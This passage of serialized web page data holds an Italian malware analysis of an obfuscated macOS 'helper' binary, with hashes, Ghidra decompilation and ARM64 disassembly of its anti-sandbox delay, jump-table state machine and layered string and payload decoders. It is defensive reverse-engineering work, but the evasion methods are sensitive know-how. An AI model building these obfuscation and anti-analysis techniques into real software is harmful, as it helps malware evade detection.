-r",[1704,13421,13336],{"class":3016},[1704,13423,13339],{"class":2795},[1704,13425,13342],{"class":3026},[1704,13427,13428],{"class":3016},">\n",[1704,13430,13431,13433],{"class":1706,"line":530},[1704,13432,13416],{"class":2791},[1704,13434,13348],{"class":2795},[13091,13436],{},[556,13438,13440],{"id":13439},"stage-2-reverse-engineering-della-binary-helper","Stage 2: reverse engineering della binary 'helper'",[525,13442,562],{},[525,13444,13445,13446,13449],{},"La binary ",[578,13447,13448],{},"helper"," è la parte in cui questa analisi entra davvero nel dettaglio. Si tratta di un eseguibile macOS offuscato in modo professionale, che ostacola sistematicamente l'analisi statica e ha richiesto lo sforzo maggiore di reverse engineering di tutta questa indagine.",[525,13451,13452],{},"L'intera analisi è stata condotta con Ghidra e con il nostro workflow personalizzato di analisi ARM64.",[740,13454,13456],{"id":13455},"proprietà-del-file","Proprietà del file",[525,13458,746],{},[852,13460,13462],{"style":13461},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[1417,13463,4703,13465,4703,13475],{"style":13464},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1420,13466,4708,13467,4703],{},[1423,13468,11156,13469,11156,13473,4708],{},[1426,13470,13472],{"style":13471},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Proprietà",[1426,13474,12713],{"style":13471},[1433,13476,4708,13477,4708,13486,4708,13495,4708,13503,4708,13513,4708,13523,4703],{},[1423,13478,11156,13479,11156,13483,4708],{},[1438,13480,13482],{"style":13481},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1438,13484,13485],{"style":13481},"Mach-O Universal Binary",[1423,13487,11156,13488,11156,13492,4708],{},[1438,13489,13491],{"style":13490},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1438,13493,13494],{"style":13490},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1423,13496,11156,13497,11156,13500,4708],{},[1438,13498,13499],{"style":13481},"Size",[1438,13501,13502],{"style":13481},"15.7 MB",[1423,13504,11156,13505,11156,13508,4708],{},[1438,13506,13507],{"style":13490},"MD5",[1438,13509,13510],{"style":13490},[578,13511,13512],{},"4599fdf2fa2099b30d8bbf76703dd634",[1423,13514,11156,13515,11156,13518,4708],{},[1438,13516,13517],{"style":13481},"SHA-1",[1438,13519,13520],{"style":13481},[578,13521,13522],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1423,13524,11156,13525,11156,13528,4708],{},[1438,13526,13527],{"style":13490},"SHA-256",[1438,13529,13530],{"style":13490},[578,13531,13532],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[740,13534,13536],{"id":13535},"comincia-prima-di-main","Comincia prima di main()",[525,13538,746],{},[525,13540,13541,13542,13545,13546,13549],{},"La prima cosa che abbiamo notato in Ghidra: questa binary non si comporta come un eseguibile normale. Il vero entry point non è ",[578,13543,13544],{},"main()",", ma una funzione registrata in ",[578,13547,13548],{},"__mod_init_func",", un meccanismo di macOS che indica al dynamic linker (dyld) di eseguire automaticamente determinate funzioni al caricamento della binary, prima ancora che venga eseguito codice utilizzabile.",[525,13551,13552,13553,13556],{},"La init function a ",[578,13554,13555],{},"0x10009f384"," è il vero entry point del malware. Ecco la decompilazione Ghidra:",[852,13558,13559],{"style":13122},[13560,13561,13562,13566,13568,13571,3280,13575,3218,13579,13581,13582,13585,13586,13600],"code-block",{},[1704,13563,13565],{"style":13564},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[724,13567],{},[1704,13569,13570],{"style":13564},"// __mod_init_func registered — executes before main()",[1704,13572,13574],{"style":13573},"color:#d73a49","void",[1704,13576,13578],{"style":13577},"color:#6f42c1","FUN_10009f384",[1704,13580,13574],{"style":13573},")\n{\n  ",[1704,13583,13584],{"style":13573},"int"," iVar1;\n",[525,13587,13588,13591,13592,3218,13595,13599],{},[1704,13589,13590],{"style":13564},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1704,13593,13594],{"style":13577},"_usleep",[1704,13596,13598],{"style":13597},"color:#005cc5","0x37e",");",[525,13601,13602,13605,13608,13609,13611,13612,13615,13616,13619,13620,13623,13624,13627],{},[1704,13603,13604],{"style":13564},"// Indirect jump table — 14-state machine",[1704,13606,13607],{"style":13564},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1704,13610,578],{"style":13573}," _)((",[1704,13613,13614],{"style":13573},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1704,13617,13618],{"style":13597},"4"," + ",[1704,13621,13622],{"style":13597},"0x10009f440","))(iVar1);\n",[1704,13625,13626],{"style":13573},"return",";\n}",[525,13629,13630,13631,13634,13635,13638],{},"Due elementi saltano subito all'occhio. Il primo è la ",[578,13632,13633],{},"usleep"," di 894 microsecondi in avvio: un segnale di timing anti-sandbox. Ancora più rilevante è la jump table indiretta a ",[578,13636,13637],{},"0x10009f43c",". Si tratta di un branch calcolato, in cui l'indirizzo di destinazione viene determinato a runtime a partire da una lookup table. Gli strumenti di analisi statica non riescono a ricostruire il control flow graph; Ghidra ha registrato diversi warning \"unreachable block\" nel tentativo di seguire il percorso di esecuzione. Il comportamento è voluto.",[525,13640,13641,13642,13645],{},"La jump table pilota una ",[567,13643,13644],{},"macchina a stati di esecuzione a 14 stati",". Ogni stato esegue un singolo passo discreto della pipeline di decodifica ed esecuzione. Il contatore di stato viene aggiornato dopo ogni passo e la macchina gira finché tutti gli stati non sono stati attraversati.",[740,13647,13649],{"id":13648},"il-disassembly-arm64-del-state-dispatcher","Il disassembly ARM64 del state dispatcher",[525,13651,746],{},[852,13653,13654],{"style":13122},[615,13655,13659],{"className":13656,"code":13657,"language":13658,"meta":529,"style":529},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[578,13660,13661,13666,13671,13676,13681,13686,13691,13696,13701,13706],{"__ignoreMap":529},[1704,13662,13663],{"class":1706,"line":1707},[1704,13664,13665],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1704,13667,13668],{"class":1706,"line":530},[1704,13669,13670],{},"10009f41c:  mov w0,#0x37e\n",[1704,13672,13673],{"class":1706,"line":2088},[1704,13674,13675],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1704,13677,13678],{"class":1706,"line":2094},[1704,13679,13680],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1704,13682,13683],{"class":1706,"line":2415},[1704,13684,13685],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1704,13687,13688],{"class":1706,"line":2421},[1704,13689,13690],{},"10009f42c:  mov w8,w25               ; current state index\n",[1704,13692,13693],{"class":1706,"line":3080},[1704,13694,13695],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1704,13697,13698],{"class":1706,"line":3876},[1704,13699,13700],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1704,13702,13703],{"class":1706,"line":3882},[1704,13704,13705],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1704,13707,13708],{"class":1706,"line":4128},[1704,13709,13710],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[740,13712,13714],{"id":13713},"sei-livelli-di-offuscamento-sovrapposti","Sei livelli di offuscamento sovrapposti",[525,13716,746],{},[525,13718,13719,13720,13723],{},"La binary utilizza sei diversi livelli di offuscamento, sovrapposti e concatenati, in modo che l'output di ciascun livello venga passato in ingresso al successivo. Ogni payload, ogni stringa, ogni costante interna è codificata. Nel segmento ",[578,13721,13722],{},"__const"," non compare nulla di significativo in chiaro. Segue una scomposizione completa livello per livello, verificata direttamente in Ghidra fino alle singole istruzioni ARM64. Ognuna delle tecniche impiegate è nota di per sé; è la loro applicazione concatenata su più stadi ad aver creato un flusso di esecuzione fortemente interdipendente, che ha reso molto più difficile sia l'analisi statica sia quella dinamica.",[13091,13725],{},[887,13727,13729],{"id":13728},"layer-1-codifica-compile-time-a-triplette","Layer 1: codifica compile-time a triplette",[525,13731,893],{},[525,13733,13734,13735,13738],{},"Nessuna stringa nella binary è memorizzata come sequenza di caratteri, ma come sequenza di triplette aritmetiche da 12 byte. Ogni tripletta ",[578,13736,13737],{},"(a, b, shift)"," codifica esattamente un carattere di output. Lo schema di codifica viene applicato in fase di compilazione, per cui nessuna stringa esiste mai come testo in chiaro nella binary, nemmeno temporaneamente al caricamento.",[525,13740,13741,13742,13745,13746,13749,13750,13753,13754,13745,13757,13760,13761,13764],{},"Due funzioni di decoder separate gestiscono dimensioni diverse di stringa. ",[578,13743,13744],{},"FUN_100087c08"," a ",[578,13747,13748],{},"0x100087c08"," decodifica stringhe da 60 caratteri (720 byte di dati di input da ",[578,13751,13752],{},"DAT_1006292cc","). ",[578,13755,13756],{},"FUN_10007ad80",[578,13758,13759],{},"0x10007ad80"," decodifica stringhe da 56 caratteri (672 byte da ",[578,13762,13763],{},"DAT_10049708c","). Entrambe usano lo stesso algoritmo.",[852,13766,13767],{"style":13122},[13560,13768,13769,13772,13774,13777,3280,13779,3218,13781,13784,13785,13787,13788,13790,13791,13793,13794,13797,13798],{},[1704,13770,13771],{"style":13564},"// FUN_100087c08 @ 0x100087c08",[724,13773],{},[1704,13775,13776],{"style":13564},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1704,13778,13574],{"style":13573},[1704,13780,13744],{"style":13577},[1704,13782,13783],{"style":13573},"long"," *param_1)\n{\n  ",[1704,13786,13783],{"style":13573}," *plVar1;\n  ",[1704,13789,13574],{"style":13573}," *pvVar2;\n  ",[1704,13792,13783],{"style":13573}," lVar3;\n  ",[1704,13795,13796],{"style":13573},"uint"," *puVar4;\n",[525,13799,13800,13801,3218,13804,13807,13808,13813,13816,13817,13807,13819,13822,13824,13827,13828,646,13831,13807,13834,13837,13838,13840,13841,13611,13843,13845,13846,3083,13849,13852,13853,13855,13856,13859,13860,13863,13864,13611,13867,13869,13870,13873,13874,13877,13879,13882,13883,13611,13885,13887,13888,13890,13891,13893,13894,13899,13900,13903,13904,13909,13910,13913,13914,13916,13917,13922,13923,13925,13926,13928,13929,13932,13933,13936,13937,13807,13939,13942,13944,13947,13948,13627],{},"pvVar2 = ",[1704,13802,13803],{"style":13577},"operator_new",[1704,13805,13806],{"style":13597},"0x2d0","); ",[1704,13809,13810,13811],{"style":13564},"// allocate 720 bytes (60 triplets × 12)",[724,13812],{},[1704,13814,13815],{"style":13577},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1704,13818,13806],{"style":13597},[1704,13820,13821],{"style":13564},"// copy encoded triplets from __const",[724,13823],{},[1704,13825,13826],{"style":13577},"FUN_1000a0840","(param_1, ",[1704,13829,13830],{"style":13597},"0x3c",[1704,13832,13833],{"style":13597},"0",[1704,13835,13836],{"style":13564},"// init 60-char output buffer","\nlVar3 = ",[1704,13839,13833],{"style":13597},";\npuVar4 = (",[1704,13842,13796],{"style":13573},[1704,13844,13783],{"style":13573},")pvVar2 + ",[1704,13847,13848],{"style":13597},"8",[1704,13850,13851],{"style":13573},"do"," {\nplVar1 = (",[1704,13854,13783],{"style":13573}," _)_param_1;\n",[1704,13857,13858],{"style":13573},"if"," (-",[1704,13861,13862],{"style":13597},"1"," \u003C _(",[1704,13865,13866],{"style":13573},"char",[1704,13868,13783],{"style":13573},")param_1 + ",[1704,13871,13872],{"style":13597},"0x17",")) {\nplVar1 = param_1;\n}\n",[1704,13875,13876],{"style":13564},"// THE DECODE FORMULA, one character per triplet:",[724,13878],{},[1704,13880,13881],{"style":13564},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1704,13884,13866],{"style":13573},[1704,13886,13783],{"style":13573},")plVar1 + lVar3) =\n(",[1704,13889,13866],{"style":13573},")((",[1704,13892,13584],{"style":13573},")(puVar4",[1704,13895,13896,13897],{},"-",[1704,13898,13862],{"style":13597}," * ",[1704,13901,13902],{"style":13597},"3"," ^ puVar4",[1704,13905,13896,13906],{},[1704,13907,13908],{"style":13597},"2",") >> (*puVar4 & ",[1704,13911,13912],{"style":13597},"0x1f",")) - (",[1704,13915,13866],{"style":13573},")puVar4",[1704,13918,13919],{},[1704,13920,13921],{"style":13597},"-1",";\nlVar3 = lVar3 + ",[1704,13924,13862],{"style":13597},";\npuVar4 = puVar4 + ",[1704,13927,13902],{"style":13597},"; ",[1704,13930,13931],{"style":13564},"// advance 12 bytes — next triplet","\n} ",[1704,13934,13935],{"style":13573},"while"," (lVar3 != ",[1704,13938,13830],{"style":13597},[1704,13940,13941],{"style":13564},"// loop exactly 60 times",[724,13943],{},[1704,13945,13946],{"style":13577},"operator_delete","(pvVar2);\n",[1704,13949,13626],{"style":13573},[525,13951,13952],{},"L'assembly ARM64 corrispondente, dove ogni istruzione mappa direttamente un'operazione della formula:",[852,13954,13955],{"style":13122},[615,13956,13959],{"className":13957,"code":13958,"language":620},[618],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[578,13960,13958],{"__ignoreMap":529},[525,13962,13963,13964,13967,13968,13971],{},"Da notare: la moltiplicazione ",[578,13965,13966],{},"b × 3"," è implementata come ",[578,13969,13970],{},"add w12, w11, w11, LSL #1",", uno shift-and-add che evita del tutto un'istruzione di moltiplicazione. È una classica ottimizzazione del compilatore, che nello stesso tempo rende il codice più difficile da individuare tramite signature matching.",[525,13973,13974],{},"La formula di decodifica completa:",[852,13976,13977],{"style":13122},[615,13978,13981],{"className":13979,"code":13980,"language":620},[618],"char = ASR( (b × 3) XOR a, shift ) − b\n",[578,13982,13980],{"__ignoreMap":529},[525,13984,13985,13986,13989,13990,13993,13994,13997],{},"L'",[578,13987,13988],{},"ASR"," (Arithmetic Shift Right) è determinante: preserva il bit di segno. Se il risultato intermedio di ",[578,13991,13992],{},"(b×3) XOR a"," è negativo, cosa che capita spesso, uno shift logico produrrebbe un risultato completamente diverso. È voluto: chi reimplementa la formula in un linguaggio di alto livello con ",[578,13995,13996],{},">>"," ottiene silenziosamente output errati se non tiene esplicitamente conto dell'aritmetica con segno.",[525,13999,14000,14001,14003,14004,14006,14007,14010],{},"La variante da 56 caratteri ",[578,14002,13756],{}," è strutturalmente identica, opera su ",[578,14005,13763],{}," con un limite di loop pari a ",[578,14008,14009],{},"0x38",". Entrambe le funzioni sono state confermate in live in Ghidra durante questa analisi.",[13091,14012],{},[887,14014,14016],{"id":14015},"layer-2-codifica-hex-string","Layer 2: codifica hex string",[525,14018,893],{},[525,14020,14021,14022,14025,14026,13745,14029,14032,14033,613],{},"I byte grezzi generati dal Layer 1 sono a loro volta caratteri ASCII esadecimali, non dati binari. L'output di un triplet decode di Layer 1 è una stringa di coppie hex: ",[578,14023,14024],{},"32694e5462...",". Lo conferma la funzione di decoder ",[578,14027,14028],{},"FUN_100000dc0",[578,14030,14031],{},"0x100000dc0",", che implementa un hex decode tramite una lookup table a ",[578,14034,14035],{},"DAT_1007bb591",[525,14037,14038,14039,13896,14042,646,14045,13896,14048,646,14051,13896,14054,14057],{},"Il decompile Ghidra mostra uno switch che mappa ogni carattere hex (",[578,14040,14041],{},"0x30",[578,14043,14044],{},"0x39",[578,14046,14047],{},"0x41",[578,14049,14050],{},"0x46",[578,14052,14053],{},"0x61",[578,14055,14056],{},"0x66",") sul valore del suo nibble e assembla i byte di output due caratteri alla volta:",[852,14059,14060],{"style":13122},[13560,14061,14062,14065,14068,14071,14072,14075,14076,14078,14079,3280,14082,998,14084,14087,14088,4703,14091,3280,14093,14096,14097,13928,14100,14102,14103,4703,14106,3280,14108,14096,14111,13928,14114,14102,14116,4703,14119,4703,14122,3280,14124,998,14126,3280,14128,14096,14130,13928,14133,14135,14136,4703,14139,3280,14141,998,14144,3280,14146,14096,14149,13928,14152,14135,14154,4703,14157,3280,14159,998,14162,3280,14164,14167,14168,13928,14171,14135,14173,4703,14176,3280,14178,998,14181,3280,14183,14186,14187,13928,14190,14135,14192,4703,14195,3280,14197,998,14200,3280,14202,14096,14205,13928,14208,14135,14210,4703,14213,3280,14215,998,14217,3280,14219,14096,14221,13928,14224,14135,14226,14229,14230,14233,14234,14075,14237,14239,14240,14242,14243,14246],{},[1704,14063,14064],{"style":13564},"// FUN_100000dc0 @ 0x100000dc0",[1704,14066,14067],{"style":13564},"// Hex decoder, processes input two characters per output byte",[1704,14069,14070],{"style":13573},"switch","(*(",[1704,14073,14074],{"style":13573},"undefined1"," *)((",[1704,14077,13783],{"style":13573},")plVar2 + lVar7)) {\n  ",[1704,14080,14081],{"style":13573},"case",[1704,14083,14041],{"style":13597},[1704,14085,14086],{"style":13573},"break",";                  ",[1704,14089,14090],{"style":13564},"// '0' → 0x00",[1704,14092,14081],{"style":13573},[1704,14094,14095],{"style":13597},"0x31",": bVar9 = ",[1704,14098,14099],{"style":13597},"0x10",[1704,14101,14086],{"style":13573},";   ",[1704,14104,14105],{"style":13564},"// '1' → 0x10",[1704,14107,14081],{"style":13573},[1704,14109,14110],{"style":13597},"0x32",[1704,14112,14113],{"style":13597},"0x20",[1704,14115,14086],{"style":13573},[1704,14117,14118],{"style":13564},"// '2' → 0x20",[1704,14120,14121],{"style":13564},"// ... '3' through '9' ...",[1704,14123,14081],{"style":13573},[1704,14125,14047],{"style":13597},[1704,14127,14081],{"style":13573},[1704,14129,14053],{"style":13597},[1704,14131,14132],{"style":13597},"0xa0",[1704,14134,14086],{"style":13573},";  ",[1704,14137,14138],{"style":13564},"// 'A'/'a' → 0xa0",[1704,14140,14081],{"style":13573},[1704,14142,14143],{"style":13597},"0x42",[1704,14145,14081],{"style":13573},[1704,14147,14148],{"style":13597},"0x62",[1704,14150,14151],{"style":13597},"0xb0",[1704,14153,14086],{"style":13573},[1704,14155,14156],{"style":13564},"// 'B'/'b' → 0xb0",[1704,14158,14081],{"style":13573},[1704,14160,14161],{"style":13597},"0x43",[1704,14163,14081],{"style":13573},[1704,14165,14166],{"style":13597},"99",":   bVar9 = ",[1704,14169,14170],{"style":13597},"0xc0",[1704,14172,14086],{"style":13573},[1704,14174,14175],{"style":13564},"// 'C'/'c' → 0xc0",[1704,14177,14081],{"style":13573},[1704,14179,14180],{"style":13597},"0x44",[1704,14182,14081],{"style":13573},[1704,14184,14185],{"style":13597},"100",":  bVar9 = ",[1704,14188,14189],{"style":13597},"0xd0",[1704,14191,14086],{"style":13573},[1704,14193,14194],{"style":13564},"// 'D'/'d' → 0xd0",[1704,14196,14081],{"style":13573},[1704,14198,14199],{"style":13597},"0x45",[1704,14201,14081],{"style":13573},[1704,14203,14204],{"style":13597},"0x65",[1704,14206,14207],{"style":13597},"0xe0",[1704,14209,14086],{"style":13573},[1704,14211,14212],{"style":13564},"// 'E'/'e' → 0xe0",[1704,14214,14081],{"style":13573},[1704,14216,14050],{"style":13597},[1704,14218,14081],{"style":13573},[1704,14220,14056],{"style":13597},[1704,14222,14223],{"style":13597},"0xf0",[1704,14225,14086],{"style":13573},[1704,14227,14228],{"style":13564},"// 'F'/'f' → 0xf0","\n}\n",[1704,14231,14232],{"style":13564},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1704,14235,14236],{"style":13573},"byte",[1704,14238,13783],{"style":13573},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1704,14241,13614],{"style":13573},")uVar4 & ",[1704,14244,14245],{"style":13597},"0xff","] | bVar9;\n",[525,14248,14249],{},"L'assembly ARM64 pilota tutto questo con una tabella secondaria di branch calcolati, implementando di fatto una jump table da 55 voci per lo switch:",[852,14251,14252],{"style":13122},[615,14253,14256],{"className":14254,"code":14255,"language":620},[618],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[578,14257,14255],{"__ignoreMap":529},[525,14259,14260],{},"Due branch calcolati in una finestra di 24 byte. Gli strumenti di analisi statica non gestiscono questo pattern, perché entrambe le destinazioni del branch sono ignote in fase di analisi.",[525,14262,14263],{},"Una stringa hex lunga 137.208 caratteri, una volta decodificata, dà 68.604 byte, che vengono poi passati al Layer 3.",[13091,14265],{},[887,14267,14269],{"id":14268},"layer-3-alfabeto-nibble-personalizzato-a-16-simboli","Layer 3: alfabeto nibble personalizzato a 16 simboli",[525,14271,893],{},[525,14273,14274],{},"I 68.604 byte di output del Layer 2 utilizzano solo 16 valori di byte distinti, presi da due intervalli ASCII non contigui:",[630,14276,14277,14320],{},[633,14278,14279,14282,14283,646,14286,646,14289,646,14292,646,14295,646,14297,646,14300,646,14303,646,14305,646,14307,646,14310,646,14312,646,14314,646,14316,646,14318],{},[578,14280,14281],{},"0x20-0x2F",": spazio, ",[578,14284,14285],{},"!",[578,14287,14288],{},"\"",[578,14290,14291],{},"#",[578,14293,14294],{},"$",[578,14296,4023],{},[578,14298,14299],{},"&",[578,14301,14302],{},"'",[578,14304,3218],{},[578,14306,1138],{},[578,14308,14309],{},"*",[578,14311,3765],{},[578,14313,10738],{},[578,14315,13896],{},[578,14317,613],{},[578,14319,6522],{},[633,14321,14322,998,14325,646,14328,646,14331,646,14334,646,14337,646,14340,646,14343,14346],{},[578,14323,14324],{},"0x78-0x7F",[578,14326,14327],{},"x",[578,14329,14330],{},"y",[578,14332,14333],{},"z",[578,14335,14336],{},"{",[578,14338,14339],{},"|",[578,14341,14342],{},"}",[578,14344,14345],{},"~",", DEL",[525,14348,14349],{},"È una scelta di design voluta. In un hex editor questi byte sembrano spazi, punteggiatura e caratteri ASCII di margine; si confondono nel rumore di quelli che appaiono come metadati o padding. Un analista che scorre un hex dump non contrassegnerà questi intervalli di byte come sospetti e le analisi di entropia standard sottostimano l'entropia effettiva, perché la distribuzione dei byte non appare casuale.",[525,14351,14352,14353,14356,14357,14360,14361,14364,14365,14368],{},"Ogni byte di questo alfabeto codifica un nibble del payload reale. Il mapping alfabeto-nibble viene applicato dalla funzione di encode/decode ",[578,14354,14355],{},"FUN_100000d60",", che abbiamo confermato a ",[578,14358,14359],{},"0x100000d60",". La funzione concatena due sotto-funzioni: ",[578,14362,14363],{},"FUN_100000b50"," crea una mappa indicizzata dei caratteri della stringa di input, e ",[578,14366,14367],{},"FUN_100000c34"," la percorre, consumando 6 bit per passo e accumulando byte di output 8 bit alla volta:",[852,14370,14371],{"style":13122},[13560,14372,14373,14376,14377,3464,14379,14381,14382,14384,14385,14388,14389,4703,14392,14394,14395,14397,14398,4708,14401,14403,14404,14407,14408,14410,14411,4708,14414,10966,14416,14419,14420,14423,14424,14426,14427,14430,14431,14433,14434,14075,14437,14439,14440,14442,14443,14445],{},[1704,14374,14375],{"style":13564},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1704,14378,13833],{"style":13597},[1704,14380,13851],{"style":13573}," {\n  local_52 = *(",[1704,14383,14074],{"style":13573}," *)puVar4;\n  lVar3 = ",[1704,14386,14387],{"style":13577},"FUN_1000a078c","(param_3, &local_52);  ",[1704,14390,14391],{"style":13564},"// look up nibble value",[1704,14393,13858],{"style":13573}," (lVar3 == ",[1704,14396,13833],{"style":13597},") {\n    ",[1704,14399,14400],{"style":13564},"// character not in alphabet, treat as raw",[1704,14402,14387],{"style":13577},"(param_3, &local_51);\n  } ",[1704,14405,14406],{"style":13573},"else"," {\n    iVar5 = iVar5 + ",[1704,14409,13618],{"style":13597},";           ",[1704,14412,14413],{"style":13564},"// accumulate 4 bits",[1704,14415,13935],{"style":13573},[1704,14417,14418],{"style":13597},"7"," \u003C iVar5) {\n      std::string::",[1704,14421,14422],{"style":13577},"push_back","((",[1704,14425,13866],{"style":13573},")param_1);  ",[1704,14428,14429],{"style":13564},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1704,14432,13848],{"style":13597},";\n    }\n  }\n  puVar4 = (",[1704,14435,14436],{"style":13573},"undefined8",[1704,14438,13783],{"style":13573},")puVar4 + ",[1704,14441,13862],{"style":13597},");\n} ",[1704,14444,13935],{"style":13573}," (puVar4 != puVar1);\n",[525,14447,14448],{},"I 34.302 byte che escono da questa fase sono ASCII stampabile al 99,7%. A un primo sguardo veloce, il payload a questo stadio sembra un grosso script shell o un blob di configurazione.",[13091,14450],{},[887,14452,14454],{"id":14453},"layer-4-offuscamento-delle-stringhe-a-compile-time","Layer 4: offuscamento delle stringhe a compile-time",[525,14456,893],{},[525,14458,14459],{},"Le stringhe usate internamente vengono offuscate in fase di compilazione con lo stesso schema a triplette del Layer 1 e ricostruite a runtime immediatamente prima dell'uso. In memoria non restano più a lungo del necessario; il buffer viene rilasciato subito dopo il consumo. Nelle sezioni di dati statici della binary, in nessun momento è visibile una stringa decodificata.",[525,14461,14462,14463,14466],{},"La funzione di string hash ",[578,14464,14465],{},"FUN_100000730"," fornisce un livello di offuscamento secondario per i confronti di stringhe. Invece di confrontare direttamente le stringhe, cosa che lascerebbe testo in chiaro in memoria, la binary calcola e confronta hash interi:",[852,14468,14469],{"style":13122},[13560,14470,14471,14474,14477,3280,14479,3218,14481,13784,14483,14485,14486,14489,14490,4703,14493,4703,14496,14499,14500,14502,14503,14505,14506,14508,14509,14135,14512,14515,14516,14518,14519,14521],{},[1704,14472,14473],{"style":13564},"// FUN_100000730 @ 0x100000730",[1704,14475,14476],{"style":13564},"// FNV-style string hash, avoids plaintext string comparisons",[1704,14478,13584],{"style":13573},[1704,14480,14465],{"style":13577},[1704,14482,13866],{"style":13573},[1704,14484,13584],{"style":13573}," iVar4 = ",[1704,14487,14488],{"style":13597},"0x19a8",";    ",[1704,14491,14492],{"style":13564},"// FNV offset basis (modified)",[1704,14494,14495],{"style":13564},"// ...",[1704,14497,14498],{"style":13573},"for"," (; uVar3 != ",[1704,14501,13833],{"style":13597},"; uVar3 = uVar3 - ",[1704,14504,13862],{"style":13597},") {\n    iVar4 = (",[1704,14507,13584],{"style":13573},")*pcVar1 + iVar4 * -",[1704,14510,14511],{"style":13597},"0x7fb91be3",[1704,14513,14514],{"style":13564},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1704,14517,13862],{"style":13597},";\n  }\n  ",[1704,14520,13626],{"style":13573}," iVar4;\n}\n",[525,14523,14524],{},"L'assembly ARM64 sostituisce la moltiplicazione con un fused multiply-add:",[852,14526,14527],{"style":13122},[615,14528,14531],{"className":14529,"code":14530,"language":620},[618],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[578,14532,14530],{"__ignoreMap":529},[525,14534,14535],{},"Questo significa che anche il confronto tra due stringhe all'interno della binary non produce un branch che un debugger possa intercettare in modo pulito a livello di stringa, ma solo a livello di hash.",[13091,14537],{},[887,14539,14541],{"id":14540},"layer-5-doppia-istanza-di-stream-cipher-personalizzata","Layer 5: doppia istanza di stream cipher personalizzata",[525,14543,893],{},[525,14545,14546,14547,14550],{},"Qui l'architettura di offuscamento diventa insolita. Nella binary non gira una, bensì ",[567,14548,14549],{},"due istanze cipher separate",", ciascuna con una lookup table hardcoded diversa e un contatore iniziale diverso. Entrambe usano la stessa struttura algoritmica, ma generano alfabeti di output differenti per parti diverse della pipeline del payload.",[525,14552,14553,646,14556,13745,14559,1199],{},[567,14554,14555],{},"Istanza A",[578,14557,14558],{},"FUN_10007ab34",[578,14560,14561],{},"0x10007ab34",[852,14563,14564],{"style":13122},[13560,14565,14566,14569,14570,3464,14573,14575,14576,14075,14578,14580,14581,14583,14584,14075,14586,14588,14589,14591,14592,14075,14594,14596,14597,14599,14600,14603,14604,14606,14607,14609],{},[1704,14567,14568],{"style":13564},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1704,14571,14572],{"style":13597},"0x4c",[1704,14574,13851],{"style":13573}," {\n  bVar2 = *(",[1704,14577,14236],{"style":13573},[1704,14579,13783],{"style":13573},")local_e0 +\n          ((",[1704,14582,13614],{"style":13573},")(*(",[1704,14585,14236],{"style":13573},[1704,14587,13783],{"style":13573},")local_c8 + uVar5) ^ uVar6) & 